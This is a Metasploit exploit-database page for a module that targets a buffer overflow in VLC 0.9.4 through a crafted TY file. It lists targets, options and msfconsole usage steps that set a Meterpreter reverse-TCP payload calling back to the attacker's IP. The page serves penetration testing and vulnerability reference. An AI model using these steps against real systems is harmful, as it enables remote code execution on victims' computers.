VideoLAN VLC TiVo Buffer Overflow | Metasploit Exploit Database (DB)

VideoLAN VLC TiVo Buffer Overflow

This module exploits a buffer overflow in VideoLAN VLC 0.9.4. By creating a malicious TY file, a remote attacker could overflow a buffer and execute arbitrary code.

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Exploit Rank

  • Good

Exploit Authors

  • MC < mc [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - VideoLAN VLC 0.9.4 (XP SP3 English) (default)
  • 1 - VideoLAN VLC 0.9.2 (XP SP3 English)

Exploit Development


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Exploit Usage Information

$ msfconsole

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msf > use exploit/windows/fileformat/videolan_tivo
msf exploit(videolan_tivo) > show payloads
msf exploit(videolan_tivo) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(videolan_tivo) > set LHOST [MY IP ADDRESS]
msf exploit(videolan_tivo) > exploit


Exploit Module Options

FILENAME The file name. (default: msf.ty)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session